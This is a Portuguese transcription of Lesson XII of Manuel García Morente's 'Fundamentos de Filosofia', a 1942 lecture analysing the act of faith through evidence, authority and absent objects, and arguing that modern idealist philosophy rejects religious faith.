Cap. 12 – Análise Ontológica da Fé. – Fundamentos de Filosofia de Manuel Morente

Fundamentos de Filosofia de Manuel Garcia Morente
Lições Preliminares

Lição XII

ANÁLISE   ONTOLÓGICA   DA   FÉ   
(1)

81.
QUATRO ASPECTOS DO ATO DE FÉ. — 82. O OBJETO E O ATO NA FÉ. — 83. EVIDÊNCIA E
INEVIDÊNCIA. — 84. AUTORIDADE RELATIVA E ABSOLUTA. — 85. INEVIDÊNCIA RELATIVA E
ABSOLUTA. — 86. A OPOSIÇÃO & FÉ RELIGIOSA NA FILOSOFIA MODERNA. — 87. SUA ORIGEM
IDEALISTA.

 

Na
presente lição tentaremos levar a efeito uma análise ontológica da fé-
Explicaremos primeiramente nosso propósito.

 

81.   
Quatro  aspectos  do  ato  de fé.

 

A fé
pode ser entendida como virtude e como ato. Prescindimos neste estudo da fé
como virtude, para nos limitar exclusivamente ao "ato de fé". Pois
bem; o ato de fé é um ato complexo; quer dizer que consta de vários elementos.
A análise pode decompô-lo e fazer-nos descobrir que o ato de fé é composto de
elementos psíquicos, de elementos lógicos e de objetos reais. Por conseguinte,
o ato de fé interessará, por sua complicada estrutura, a três ciências
filosóficas: á psicologia, à lógica e à ontologia (teoria dos objetivos
reais). Mas, de outra parte, os objetos que no ato de fé propriamente dito
apreendemos são objetos muito particulares; pertencem a uma especial modalidade
da realidade, que pode ser chamada a realidade sobrenatural ou realidade
divina. Deste lado, pois, o ato de fé interessa também à ciência da realidade
sobrenatural ou divina, cujo nome é teologia. São, pois quatro facetas que o
ato de fé apresenta, dando frente para quatro ciências distintas: a
psicologia, a lógica, a ontologia e a teologia. Na unidade de sua essência, o
ato de fé apresenta, pois, problemas em grande número de direções diversas.
Pode estudá-lo o teólogo; e estuda-o de fato como fundamento primordial da
disciplina teológica, a qual é ciência, justa e precisamente porque o ato de
fé é ato de conhecimento objetivo. Pode também estudá-lo o psicólogo como ato
subjetivo da alma; e indagar se é ato de toda a alma ou de uma ou de várias
faculdades da alma e se é ato de todas as almas ou de algumas tão-somente e
de quais. Pode estudá-lo, outrossim, o lógico para procurar o fundamento de validez que se deve
conceder às afirmações da fé. Por último, pode considerá-lo o metafísico ou o ontólogo quanto à índole da realidade ou objetividade sobre que incide. No
estudo completo do ato de fé, teriam, pois, de colaborar amistosamente essas
quatro ciências: a psicologia, a lógica, a ontologia e a teologia. As três
primeiras pertencem ao conjunto de disciplinas que geralmente se chamam
filosofia. O ato de fé oferece-nos, pois, um tema, no qual se verifica, de modo
exemplar, a antiga concepção da filosofia como ciência auxiliar ou propedêutica
da teologia. Sem tantos eufemismos, diziam singelamente os antigos que a
filosofia era a serva ou criada da teologia, ancilla theologiae. Mas, de uns
três séculos para cá, a filosofia chamada moderna emancipou-se, por assim dizer
e já não quer servir à ciência de Deus. Rebelou-se até mesmo contra a ciência
de Deus e ataca-a na sua própria base, negando-lhe seu objeto, pondo em
interdição sua possibilidade e realidade objetivas. Por que a filosofia
"moderna" julga inválido o conhecimento de Deus? Por que nega a
validez objetiva do ato de fé? Qual é o germe primordial dessa sua atitude
negativa? Preparar a resposta a essas perguntas é o objeto primordial da
presente lição.

(1)  
Esta  lição  reproduz   a pronunciada  com  o   mesmo   título  pelo 
professor   Garcia Morente   no   curso   de   verão   de   1942    da   Universidade  
de   Oviedo.

 

82.  
O objeto e o ato na fé.

 

No ato de fé devemos distinguir antes de
tudo o ato de uma parte e o objeto de outra. Como fenômeno
psíquico, o ato de fé é intencional; quer dizer, refere-se a um objeto,
recai sobre um objeto. Foi talvez a principal contribuição de Brentano à
filosofia atual esta caracterização do fenômeno psíquico como intencional; quer
dizer, como ato subjetivo referido a um objeto ou que recai sobre um objeto.
Uma coisa é o pensamento e outra o pensado pelo pensamento; uma coisa é volição
e outra o desejado pela volição. Todo pensamento é pensamento de algo; toda
sensação é sensação de algo; todo desejo, toda aspiração, toda volição são
desejos de algo, aspiração de algo, volição de algo. E este algo pensado,
sentido ou pretendido, não pode ser confundido ou identificado com o ato
subjetivo do pensá-lo, senti-lo, querê-lo. Esse algo é o objeto intencional do
fenômeno psíquico ou, melhor dito, do ato. Com esta singela averiguação, já por
si evidente, fica eliminado, a mil léguas do horizonte intelectual, esse vago
e desconsertante "subjetivismo" que amorosamente cultivaram, como
ninho de benquistas confusões, muitos filósofos modernos.

O
ato e o objeto encontram-se, pois, um diante do outro. O ato de fé recai
sobre o objeto, e o recair sobre o objeto é para ele essencial. Se não
há objeto sobre o qual incida o ato, não há também ato de fé. Podem ser, pois,
duas as causas que anulem ou aniquilem o ato de fé: ou que o ato fique sem
objeto, ou que o objeto fique sem ato. Dito de outro modo: ou que queira o
homem verificar o ato de fé, mas não encontra objeto sobre o qual possa fazê-lo
recair, ou que havendo objeto sobre o qual possa o ato recair, não
queira o homem verificar o ato de fé. Assim, por exemplo: se ante um juiz_ se
apresenta para depor uma testemunha, na qual, por qualquer razão, está disposto
a crer o juiz, e esta testemunha não declara nada concreto, o juiz não pode
verificar ato de fé porque não há matéria sobre a qual recaia este ato.
Inversamente, se ante o juiz se apresenta uma declaração terminante e concreta
prestada por uma testemunha, na qual o juiz, por qualquer motivo, não está
disposto a crer, então o juiz não verifica o ato de fé, embora exista objeto
sobre o qual pudesse recair este ato.

Exige-se,
pois, para que haja ato de fé a confluência do ato e do objeto. O ato, coloca-o
o sujeito pensante. Em troca, o objeto encontra o sujeito diante de si — não o
põe por si mesmo; pois se o pusesse por si mesmo não seria já o objeto, mas uma
posição do sujeito, pertencente ao ato, não ao objeto do ato. Mas uma vez que
confluem num mesmo ponto o ato do sujeito e a realidade do objeto; procedendo
cada um de origem oposta, como se abraçam e juntam para constituir o ato de fé?

Em
primeiro lugar, abraçam-se e juntam-se desta maneira: que o ato consiste em
assentir ao objeto. Assentir ao objeto é dizer sim ao objeto, afirmar o
conteúdo do objeto. Mas isto não distinguiria o ato de fé de qualquer outro
juízo, porque em todo juízo encontramos sempre um ato de assentimento a um
conteúdo ideal proposto. Que diferença há, pois, entre o ato de assentir ao
objeto quando é juízo e quando é ato de fé? Há a seguinte diferença: que no
assentimento do juízo a seu objeto, a causa do assentimento se acha no caráter
de "evidente" que tem o objeto: enquanto que no ato de fé assentimos
a um objeto que não tem esse caráter de evidência. Por exemplo, no juízo: dois
e dois são quatro, o ato do juízo consiste no afirmá-lo: e o objeto do juízo
consiste em "dois e dois são quatro". Mas se eu afirmo, quer dizer,
se verifico o ato, é porque o objeto: dois e dois são quatro, é evidente. Ao
contrário, no ato de fé, o objeto não é evidente. Assim, por exemplo, se
verifico o ato de fé consistente em acreditar que Deus é uno em essência e
trino em pessoas, afirmo, ou íôja verifico o ato; porém a afirmação recai sobre
um objeto -— trindade, unidade — que não é evidente. Mas logo perguntaremos:
que é a evidência?

 

83.  
Evidência e inevidência.

 

Prescindindo
aqui da discussão, possivelmente complicada, a que daria lugar o levantamento
do problema lógico da evidência, digamos simplesmente que a evidência é a
presença integral do objeto diante de mim, na minha intuição intelectual.
Entendo por presença integral este modo de estar o objeto diante de mim, que
consiste em oferecerão à minha intuição ele próprio — e não um substitutivo ou
representante seu — e em toda sua integridade — sem faltar-lhe nada, som ser
simples fragmento — e em total nudez, sem véus que ocultem sua essência
interior e estrutura íntima. Quando tudo isto se cumprir, estará o objeto em
presença integral diante de mim e, terei a intuição de sua evidência. Vejo o
objeto, diante de mim, por dentro o por fora; conheço-o tal como é, de sorte
que não posso conceber como possível que o objeto não seja e não seja
precisamente aquilo que é. Assim, quando penso: dois e dois são quatro — ou
vejo que este papel é branco, tenho intuição da evidência desses objetos. Ao
contrário, quando penso no dogma da Santíssima Trindade, creio e portanto sei
que é verdadeiro; porém não tenho a intuição de sua evidência.

Assentir
ao objeto evidente ou do qual tenho intuição de evidência, parece, porém, um
ato inevitável. Embora eu não quisesse não poderia evitar de verificá-lo. Ser
para mim evidente a intuição do objeto é, automaticamente, afirmá-lo; é
pronunciar o juízo, é verificar c ato de conhecimento do objeto. Não intervém
aqui a vontade. Eu não posso não afirmar o evidente, se verdadeiramente for
evidente. Em troca, quando assinto a um objeto não evidente, teve que intervir
necessariamente algo que, não sendo parte do objeto mesmo, tenha inclinado
minha vontade a verificar o ato de assentimento. Ao colocar—me eu diante do
objeto e intuir sua inevidência, esta me impele a não afirmar o objeto. Se,
pois, apesar disto, afirmo o objeto, tem que ser porque algo alheio ao objeto
mesmo e ao ato de afirmá-lo ou de negá-lo me inclina a isso. Exemplo: se
levanto a cabeça e vejo diante de mim o m|u amigo João, tenho intuição de
evidência do objeto chamado meu amigo João; e verifico o ato de juízo
consistente em afirmar que aqui está João. Porém, se João me diz que nosso
amigo comum Pedro está doente, eu não tenho intuição de evidência de Pedro
doente; não está diante de mim em presença integral o objeto: Pedro doente.
Então, se apesar desta inevidência creio que, com efeito, Pedro está doente, é
por algo que se tenha acrescentado à minha intuição atual da inevidência.
Verificarei o ato de fé de acreditar que Pedro está enfermo porque mo disse
João. Este "porque mo disse João" é o elemento novo que se acrescenta
para inclinar-me a afirmar o objeto do qual não tenho intuição evidente. No
ato de fé a afirmação do objeto não se fundamenta, pois, na evidência do próprio
objeto — evidência inexistente — mas em outra coisa, alheia ao objeto e a mim.
Esta outra coisa não move diretamente meu entendimento à afirmação do objeto,
mas persuade minha vontade para que esta verifique o ato do entendimento de
assentir ao objeto não evidente. Que coisa é essa que põe em movimento a
vontade de assentir intelectualmente?

Acabamos
de insinuá-lo quando dissemos que o elemento novo, descoberto pela análise,
está nesta frase do nosso exemplo: "porque mo disse João". O elemento
novo é uma pessoa que mo diz e na qual eu confio. Se no ato de fé eu assinto a
um objeto inevidente, como se fosse evidente, é porque a inevidência do objeto
é compensada pela declaração de outra pessoa, à qual concedo crédito. Para que
haja ato de fé é necessário, pois, que exista uma declaração ou uma revelação
que parta de outra pessoa e chegue até mim. Essa pessoa e sua declaração ou
revelação têm que possuir, porém, "autoridade"; quer dizer, que deve
haver motivos e razões extrínsecas e gerais que me impulsionem a acreditar
aquilo que essa pessoa declara, embora isso não seja para mim evidente. Assim,
eu acredito no meu amigo que me diz que Pedro está doente; porque meu amigo tem
autoridade, pois vem precisamente da casa de Pedro. Eu acredito no astrônomo   
que    me    diz    que    às    12:15    haverá    um    eclipse    do    sol; 
porque o astrônomo tem autoridade em questões de eclipses. No ato de fé temos,
pois, um assentimento do intelecto a um objeto inevidente, assentimento que vem
impulsionado pela vontade, em vista da declaração de uma pessoa revestida da
autoridade.

 

84.  
Autoridade relativa e absoluta.

 

Ê
possível descobrir graus na força com que a declaração da pessoa impulsiona a
vontade a verificar o ato de fé. Ou dito de outro modo: o poder persuasivo da
declaração é variável. De que depende? Principalmente de três fatores: da
pessoa declarante, da própria declaração e da relação entre a declaração e a
pessoa. A pessoa declarante, independentemente daquilo que concretamente
declare, pode ter mais ou menos "autoridade", ou seja dignidade de
ser crida. Pode ser, por exemplo, de escassa inteligência, má observadora, esquecida,
distraída, mentirosa etc… Existe toda uma série de propriedades e virtudes —
ou vícios e defeitos — intelectuais e morais que calibram a autoridade da
pessoa. Mas, ademais, a autoridade pessoal do declarante varia em relação com a
coisa declarada. Uma pessoa que por si mesma tem pouca autoridade, porque é
reconhecidamente esquecida ou mentirosa, terá sua autoridade muito aumentada
se os objetos de sua declaração são coisas pertencentes a seu ofício ou
especialidade científica ou profissional. Ao contrário, uma pessoa de muita
autoridade própria que fizer uma declaração sobre coisas das quais não entende
nada, terá notavelmente diminuída sua autoridade pessoal nesse caso concreto.
Por último, o próprio conteúdo da declaração considerado isoladamente e sem
relação com a pessoa declarante, pode contribuir para o aumento ou diminuição
do crédito que concedermos à declaração, ou seja da autoridade jque lhe prestarmos.
Uma declaração precisa, minuciosa, de linhas t’em definidas, porém dada por uma
pessoa de pouca autoridade própria, adquire maior autoridade pela índole
intrínseca da declaração, que outra declaração vaga, imprecisa e apagada,
feita por um pessoa de muita autoridade própria. A declaração de um objeto
inverossímil ou contraditório na sua essência não terá autoridade, embora a
pessoa que a tenha feito goze pessoalmente de uma autoridade muito grande. Estas
relações estruturais — fenomenológicas — entre a força persuasiva da declaração
e suas circunstâncias pessoais intrínsecas constituem a base essencial da
chamada crítica histórica. E também nos explicam a razão pela qual há tanta
variedade e gradação na força com que verificamos os atos de fé. A cada momento
estamos verificando atos de fé. Cada pergunta que fazemos prepara o ato de fé
na resposta que vai sobrevir. Os jornais, os livros que lemos, os oradores que
ouvimos, as notícias que recebemos são outras tantas declarações sobre as quais
verificamos atos de fé. Sem os inumeráveis atos de fé que verificamos cada dia
não poderíamos literalmente viver A vida no homem alimenta-se essencialmente de
atos de fé. E então, perguntamos: por que a filosofia chamada moderna ataca tão
denodadamente o ato de fé?

Precisamente
nossa investigação vai-se encaminhando pouco a pouco para responder a esta
pergunta. Continuando essa investigação devemos agora advertir que não
concedemos o mesmo valor a todos os inumeráveis atos de fé que a cada instante
realizamos. Umas vezes concedemos crédito completo a uma declaração; outras
vezes aceitamo-la com dúvidas e reservas; outras vezes julgamo-la sumamente
improvável e quase não acreditamos nela. Estas diferenças no crédito — ou fé —
que concedemos às diferentes declarações dependem, como vimos, da autoridade
pessoal do declarante, da autoridade do declarante em relação com o declarado e
também do próprio conteúdo da declaração. Mas suponhamos que nos encontrássemos
ante uma declaração feita por um declarante de autoridade absoluta. Que
sucederia? Consideremos bem o que quer dizer que a autoridade do tal declarante
seja absoluta. Absoluto é o contrário de relativo. Por conseguinte, autoridade
absoluta será uma autoridade que: 1 o. Não se possa conceber outra
maior. 2o. Não possa mudar — aumentar, diminuir, alterar-se
quantitativa ou qualitativamente — por nenhuma circunstância intrínseca à
declaração ou extrínseca a ela. Se nos encontrássemos, pois, ante uma
declaração feita por um declarante de autoridade absoluta, teríamos
necessariamente que prestar-lhe o máximo possível de crédito e de fé. E embora
o conteúdo mesmo da declaração fosse para nós superlativamente obscuro,
incompreensível, inevidente, teríamos que prestar-lhe o mesmo grau máximo de
crédito ou fé. Já que se a autoridade do declarante é "absoluta",
esta autoridade é invariavelmente a maior imaginável — infinita — e não se
altera para mais ou para menos pelo fato de ser o conteúdo da declaração mais
ou menos inteligível, verossímil etc. Haveria somente um caso em que poderia
não acontecer isto: seria o caso em que o conteúdo da declaração fosse uma
contradição pura e simples; como se essa autoridade absoluta declarasse que
existem círculos quadrados. Porém este caso não pode dar-se, porque uma pessoa
de autoridade "absoluta" não pode emitir uma declaração de conteúdo
contraditório. Precisamente quando algum "homem" muito revestido de
autoridade emite uma declaração de conteúdo inverossímil, muito estranho ou
dificilmente compatível com nossa experiência científica, o que acontece é que
essa declaração "diminui" a hipotética grande autoridade pessoal do
declarante, até o ponto de nos inclinarmos às vezes a reduzi-la a zero e dizer
— ou pensar — que o declarante "ficou louco". Mas se o declarante —
por definição — não pode ter ficado louco, sendo como é autoridade
"absoluta", então não podemos de jeito nenhum admitir que faça
declarações contraditórias, ou que as declarações que fizer, por muito
obscuras, incompreensíveis que sejam, não sejam verdadeiras. Ou dito de outra
maneira: Deus é o declarante de autoridade absoluta. Portanto, primeiro: não
pode declarar nada que seja em si contraditório; segundo: às declarações de
sua autoridade absoluta só podemos assentir com crédito ou fé absolutos.

Com
isso temos já uma base para classificação dos atos de fé: uma base pessoal.
Podemos classificar os atos de fé segundo a espécie de autoridade de  que goza
a pessoa declarante. E  teremos: aqueles atos de fé que realizamos em vista de
declarações feitas pelo declarante de autoridade absoluta, Deus; e aqueles atos
de fé que realizamos em vista de declarações feitas por declarantes de
autoridade relativa, os homens. Atos de fé religiosa, atos de fé humana.
Distinguem-se uns dos outros pela índole, absoluta ou relativa, da autoridade
que impele nossa vontade a prestar o assentimento ao objeto inevidente. Para
nosso propósito, neste estudo, não é interessante prosseguir a análise deste
princípio de classificação dos atos de fé. Em compensação seria sem dúvida
importante descobrir outro princípio de classificação desses mesmos atos de fé,
que estivessem baseados não na autoridade do declarante, mas no próprio objeto
da declaração. Tentemos descobri-lo.

 

85.   
Inevidência relativa e absoluta.

 

Em
que relação está o objeto do ato de fé com nossa pessoa humana, quer dizer, com
nós os homens, que realizamos estes atos de fé? Já vimos que no ato de fé é
essencial que o objeto seja inevidente. Se fosse evidente, não haveria ato de
fé, mas juízo de razão. Pois bem: esse objeto inevidente, porque é inevidente?
Também podemos dar uma resposta a essa pergunta dizendo: é inevidente porque
não está presente diante de mim com presença integral. Já explica mos o que é
essa presença integral com que está o objeto evidente diante de mim e com que
não está o objeto inevidente. Assim, pois, o objeto inevidente é inevidente
porque, ao menos parcialmente, está longe de mim, não está em mim, se encontra
"ausente". A inevidência do objeto provém de sua
"ausência". Mas são vários os modos de estar ausente um objeto: 1o. por estar em outro lugar do espaço; 2o. por estar em outro momento
do tempo; 3o. por exceder a capacidade do meu entendimento. E dentro
deste último caso podem distinguir-se duas possibilidades: a) que exceda
acidentalmente minha, capacidade intelectual; b) que exceda essencialmente
minha capacidade intelectual. Ponhamos exemplos que façam intuitiva a
classificação: as notícias que recebo e leio das particularidades geográficas
etc, de uma ilha do Pacífico — que eu nunca visitei — são acreditadas por mim;
realizo sobre elas um ato de fé; o objeto é inevidente porque está ausente: e
está ausente porque se encontra em outro lugar do espaço. As notícias que
obtenho e leio, numas "Memórias" históricas, de acontecimentos
passados, são também objeto de fé, objeto inevidente porque está ausente, está
em outro momento do tempo. As notícias que leio da composição íntima do átomo,
cujos elementos são eléctrons, pró tons etc, constituem para mim um objeto de
fé, porque a estrutura do átomo é um objeto que está ausente do meu campo
mental e está ausente porque excede a capacidade de meu entendimento; mas se
excede minha capacidade intelectual é porque eu não fiz longos e penosos
estudos prévios que me teriam dado a formação intelectual conveniente para
ampliar minha capacidade até conter em presença integral este objeto, a
estrutura do átomo; se tivesse feito longos e penosos estudos, dito objeto não
excederia minha capacidade intelectual; portanto excede não essencialmente, mas
só acidentalmente. Por último, pelo contrário, a notícia que tenho recebido de
que Deus é um em essência e trino em pessoas, é para mim um objeto de fé,
porque a essência da Santíssima Trindade não está presente diante de mim com
presença integral; está ausente para mim, e excede minha capacidade intelectual
não por acidental falta de preparação de minha pessoa, mas por essencial
impossibilidade de ter, homem algum, "presente" nesta vida a
Santíssima Trindade.

Podemos,
pois classificar também os atos de fé segundo as modalidades dessa
"ausência", que caracteriza os objetos inevidentes. Consideremos,
porém, os dois princípios de classificação que encontramos para os atos de fé.
Segundo o primeiro, os atos de fé se classificam pela autoridade, absoluta ou
relativa, do declarante. Conforme o segundo, os atos de fé se classificam pela
"ausência" do objeto. Esta ausência manifestou-se-nos de quatro
modos: ausência no espaço, quando o objeto não está no lugar em que eu estou;
ausência no tempo, quando o objeto não está no momento em que eu estou;
ausência mental acidental, quando o objeto não está acidentalmente na área de
minha capacidade intelectual; e ausência mental essencial, quando o
objeto", por sua própria essência, não pode estar na área de minha
capacidade intelectual. Os três primeiros modos de ausência mantêm entre si uma
relação de afinidade. Os três são, em princípio, remedíá-veis, ou, dito de
outro modo, não são absolutos, não representam uma ausência absoluta. Se eu não
visitei nunca a ilha do Pacífico, de que me fala meu amigo, posso, todavia, ir
visitá-la; não existe nenhuma impossibilidade absoluta de que a visite. Se eu
não "entendo" agora a teoria físico-matemática das estruturas
atômicas, posso, todavia, chegar a entendê-la; não existe uma impossibilidade
absoluta de que algum dia a entenda. Se eu não presencio agora os acontecimentos
históricos passados, é claro que sendo como é o tempo, irreversível, não posso
esperar que chegue um dia em que possa eu retornar ao passado histórico; porém
a impossibilidade de eu retornar ao passado não significa no objeto histórico
uma "ausência absoluta"’, porque outros homens houve que estiveram
presentes, outros homens como eu perceberam o fato como. "evidente".
A atual "ausência" desse objeto histórico passado é, pois, embora
irremediável, relativa; não absoluta. Em suma: nesses três modos de ausência, o
caráter atualmente inevidente do objeto o é somente "para mim". Mas
pode ser compensado por outras mentes, tão humanas quanto a minha, nas quais o
objeto é ou foi evidente. Em definitivo, os três atos de fé sobre objetos
relativamente ausentes são retificáveis, comprováveis sempre por outros tantos
atos de juízo racional que outros tantos homens realizam agora ou podem
realizar quando quiserem ou realizaram no passado. Ao contrário, o objeto que
está ausente com ausência "essencial" não pode chegar a estar
presente em nenhum intelecto humano e nunca esteve presente em nenhum. Por isso podemos reduzir a dois os quatro grupos em que, segundo o princípio do
objeto, classificamos os atos de fé. E teremos no primeiro grupo os atos de fé
cujo objeto está "relativamente" ausente, e no segundo grupo os atos
de fé cujo objeto está "absolutamente" ausente. Mas então vemos  com
perfeita clareza  que  as  duas classificações  que estruturamos, segundo os
dois princípios de classificação são perfeitamente coincidentes. Os atos de fé
feitos sobre declarações de autoridade relativa se identificam com os atos de
fé em objetos "relativamente" ausentes. Em troca, os atos de fé
feitos sobre declarações de autoridade absoluta se identificam com os atos de
fé em objetos "absolutamente" ausentes. A autoridade relativa do
declarante — humana — refere-se sempre a objetos ausentes com ausência
relativa. A autoridade absoluta do declarante — Deus — refere-se a objetos
ausentes com ausência absoluta. Por isso coincidem tão perfeitamente as duas
classificações.

 

86.  
A oposição  à fé religiosa na filosofia moderna.

 

Pois
bem; se relembrarmos o que, essencialmente, é o ato de fé, chegaremos
imediatamente à conclusão de que somente os atos de fé religiosa são atos
plenos e autênticos de fé. Os outros, os atos de fé humana, os que recaem sobre
objetos relativamente ausentes, não são genuinamente e de maneira rigorosa
verdadeiros atos de fe. Precisamente porque são tão-só
"relativamente" atos de fé; porque são atos de fé que podem tornar-se
juízos evidentes da razão. Todo ato de fé humana, em objetos relativamente
ausentes, é em potência um juízo evidente de razão. Todo ato de fé humana é
susceptível de comprovação ou demonstração, que o torna imediatamente juízo evidente
de razão. Essa comprovação ou demonstração poderá ser tão difícil ou complicada
quanto se quiser e acessível a muito poucos, e mesmo assim, em princípio, será
acessível a todos. Pelo contrário, que homem poderá jamais, nesta vida
terrestre, ter a vivência, ou seja a presença integral da Santíssima Trindade?
Somente os atos de fé religiosa, quer dizer, os que se referem aos objetos absolutamente
ausentes e se fundamentam em autoridade absoluta — de Deus — são atos de fé
perfeitos. Os outros, os que diariamente realizamos aos montes para viver e ir
vivendo, são todos eles atos de fé imperfeitos, quer dizer, sempre
susceptíveis, em princípio, de tornar-se juízos evidentes de razão.

Agora
já podemos responder à pergunta que há alguns instantes fazíamos: por que a
filosofia chamada moderna ataca tão denodada-mente o ato de fé? A resposta é
agora óbvia: porque o ato de fé per-. feito, o ato de fé autêntico, o único ato
de fé que verdadeiramente merece este nome é o ato de fé religiosa. Os demais
atos de fé são atos de fé, por assim dizer, provisórios; funcionam em
substituição do um ato de juízo evidente que eu mesmo não posso realizar por
razão de circunstâncias contingentes, porém que outros homens como ou
realizaram ou realizam. Todo ato de fé imperfeito tem atrás de ;;1 um ato de
juízo evidente, realizado por outro, porém que eu poderia em rigor realizar
também. Todo ato de fé imperfeito é como o papel moeda que por si mesmo não
vale, mas vale, todavia, como substituto do ouro ou do trabalho que o avaliza.
O ato religioso de fé é, pelo contrário, autêntico, definitivo ato de fé. Não
existe meio humano de mudá-lo num ato de juízo evidente. Pois bem; a filosofia
chamada moderna admite muito bem os atos de fé imprópria ou imperfeita; e os
admite porque sabe que sempre pode trocá-los por atos de juízo racional
evidente. Não admite porém os atos de fé própria, perfeita, porque não existem
atrás deles juízos evidentes que os avalizem. O racionalismo não quer atos de
fé perfeita. Mas o ato de fé perfeita é o único que em rigor merece o nome de
ato de fé. Podemos, pois, dizer que o racionalismo, em rigor, rejeita o ato de
fé. Para a filosofia chamada moderna o ato de crer a fé é impróprio e indigno
do homem. Reconhece que muitos homens, muitíssimos homens — todos os homens
religiosos, que são legião — o realizam. Porém proclama a invalidez de tais
atos de fé propriamente dita. Afirma que não deveriam realizar-se e que se
realizam é por ativismo, por tradição de ignorância, incultura, falta de
educação do intelecto. Por isso propugna por toda a parte a difusão do saber, a
ilustração popular, o livre exame, a crítica racional etc. etc.

Penetremos
um pouco mais profundamente nos fundamentos desta atitude negativa. À primeira
vista não se explica com plena satisfação. Por que a filosofia chamada moderna
se opõe dessa maneira ao ato de fé e o julga impróprio e indigno do homem? Por
que não admite, junto ao juízo evidente da razão e o ato de fé imprópria —
fundamentado em definitivo sobre um juízo evidente da razão — os atos de fé
própria para os objetos absolutamente ausentes? Para responder a estas
perguntas sem retórica e nem recriminações, devemos considerar agora as
condições objetivas peculiares do ato de fé. E encontramos que não pode haver
ato de fé sem três requisitos objetivos indispensáveis. O primeiro: que exista
uma pessoa declarante. O segundo: que exista uma declaração. O terceiro: que.
essa declaração declare algo, dê a conhecer um objeto absolutamente ausente da
área intelectual humana. Dito em outros termos: para que haja ato de fé é
necessário da parte ontológica: 1.° que exista Deus: 2.° que Deus se revele ao
homem, ou seja, comunique ao homem uma revelação ou declaração; 3.° que esta
revelação revele, com efeito, ao homem, algo que pelos seus meios naturais de
conhecimento, o homem não poderia chegar a conhecer. Em resumo: a existência de
Deus, a revelação e o dogma são as três condições ontológicas indispensáveis do
ato de fé. Basta que uma destas três condições seja negada para que não possa
haver ato de fé perfeito. Se Deus não existe, não há nem revelação nem dogma e
não pode haver ato de fé. Se Deus existe, mas não revela nada ao homem, não há
declaração, não há revelação e não pode haver ato de fé. Se Deus existe e
revela algo ao homem, mas esse algo revelado não é dogma, mas opinião pessoal
sujeita à interpretação livre de cada indivíduo humano, então tampouco pode
haver ato de fé. O ateísmo que elimina Deus do horizonte humano, impossibilita
toda autoridade pessoal absoluta e corta pela raiz o ato de fé. O deísmo, que
nega que Deus se revele aos homens, priva o ato de fé de todo objeto possível.
Por último o protestantismo, que concede a cada homem o direito de ouvir por si
mesmo a palavra de Deus e tirar dela para si mesmo o ensinamento que quiser e
puder, anula também o ato de fé. Porque conceder que a revelação de Deus
esteja sujeita à interpretação de cada homem é proclamar o caráter subjetivo do
conteúdo revelado (dogma)

Mas
um dogma subjetivo não é dogma. Uma verdade subjetiva é uma verdade não
verdadeira, é uma contradição. A verdade não pode ser subjetiva sem deixar de
ser verdade. Se cada homem pode tirar da palavra divina o que lhe aprouver,
então sobre o que recai o ato de fé? Não sobre a palavra de Deus, mas sobre
essa interpretação pessoal da palavra de Deus. Porém, se o ato de fé recai
sobre a interpretação pessoal da palavra de Deus, então não é ato de fé perfeita,
porque seu objeto já não está absolutamente ausente, mas foi elaborado pela
inteligência humana e de certo modo incorporado com presença integral à área da
razão. O subjetivismo do protestante substitui o ato de fé objetivo pelo
sentimento religioso pessoal; converte a religião em diletantismo e a fé
sólida em vago suspiro da alma.

Mas
a dificuldade mais grave levantam-na os que negam a existência de Deus ou a
revelação de Deus. Na realidade podem ambas juntar-se num mesmo grupo. O
ateísmo e o deísmo negam ambos que "haja" revelação. O primeiro
porque nega que "haja" quem revele, o segundo porque nega que Deus
queira revelar e até que possa revelar. Mas se examinamos a razão de por que o
ateísmo nega a existência de Deus e o deísmo a existência da revelação, descobrimos
imediatamente que as razões de ambas negações são no fundo idênticas, são uma e
a mesma razão; esta: que o entendimento humano não pode demonstrar que haja
Deus nem que haja revelação. A impossibilidade de demonstrar que existam Deus e
a revelação é, pois, o motivo comum que leva os ateus, panteístas e deístas a
eliminar radicalmente da vida humana o ato de fé.

 

87.  
Sua origem idealista.

 

Não
é nosso objeto nesta lição discutir estas posições filosóficas. Estão faz muito
tempo estudadas, julgadas e condenadas. Nosso propósito é descobrir a hipótese,
absolutamente gratuita e infundada, sobre que se baseiam. E agora já podemos
vislumbrar esta hipótese. Os elementos ontológicos — objetivos — da fé, que
nossa análise pôs em manifesto, são Deus, a revelação e o dogma. Mas também
nossa análise, na parte subjetiva, naquilo que o ato de fé tem de puro ato, nos
fez saber que estes objetos da fé estão "absolutamente ausentes" da
área mental do homem, e precisamente por isso são objetos de fé. A razão
humana pode chegar até conhecer que Deus existe, mas não pode passar a conhecer
por si só aquilo que Deus é na intimidade de sua essência. A íntima essência de
Deus, da revelação e do dogma são, pois, objetos de fé perfeita, ou seja,
objetos "absolutamente ausentes" da área mental humana. Pois bem; a
hipótese sobre que, mais ou menos explicitamente, se baseia o ateísmo, o
panteísmo e o deísmo etc, é: que aquilo que está absolutamente ausente da área
mental humana não existe. No fundo de todas estas doutrinas filosóficas palpita
esta suposição primeira: que não existe mais do que aquilo que está presente no
pensamento. Somente partindo desta suposição, seria, com efeito, louvável o
raciocínio do ateísmo e   do   deísmo;   os   quais   pretendem   demonstrar  
a   não   existência   de Deus e da revelação derivando-a de sua "ausência
absoluta" da área mental humana. Visto que o homem — dizem — não pode
conceber clara e distintamente aquilo que é Deus e a revelação, não existem nem
Deus nem a revelação. Isto implica no tácito porém muito operante postulado de
que aquilo que não pode conceber-se clara e distintamente no intelecto, não é,
não existe.

Este
postulado não é outra coisa que o princípio do chamado "idealismo"
filosófico. Nenhuma posição, porém, é mais gratuita e infundada do que esta.
Identificar a realidade total com a realidade pensada constitui uma atitude que
nada avaliza e que muitas considerações menoscabam e destroem. Eu me conheço a
mim mesmo como pensante. Porém nem eu sou somente um ser pensante nem há em mim
nada que me autorize a identificar todo o ser com o pensamento. Isto é,
todavia, o que faz Descartes, e atrás dele todo o idealismo, que, de uma ou
outra forma, foi a parte mais importante e influente da filosofia chamada
moderna. Para esta filosofia, pois, ser real é ser objeto do pensamento, e
aquilo que não é nem pode ser objeto do pensamento não tem realidade. Mas,
visto que o objeto do ato de fé própria e perfeita é um objeto
"absolutamente ausente", que não pode ser por essência objeto do
pensamento humano, não tem realidade alguma; o ato de fé perfeita, é, pois,
inválido por falta de objeto real. Seu objeto é simplesmente ilusório, fictício
e inventado.

Este
postulado do idealismo filosófico nos dá a clave de por que a filosofia chamada
moderna admite os atos de fé imprópria e imperfeita e rejeita os atos de fé
própria e perfeita. Os primeiros, com efeito, não são autênticos atos de fé;
atrás deles, avalizando-os, há atos de juizo evidente; têm, pois, objetos
relativamente presentes à área do intelecto, objetos reais, que a razão pensa.
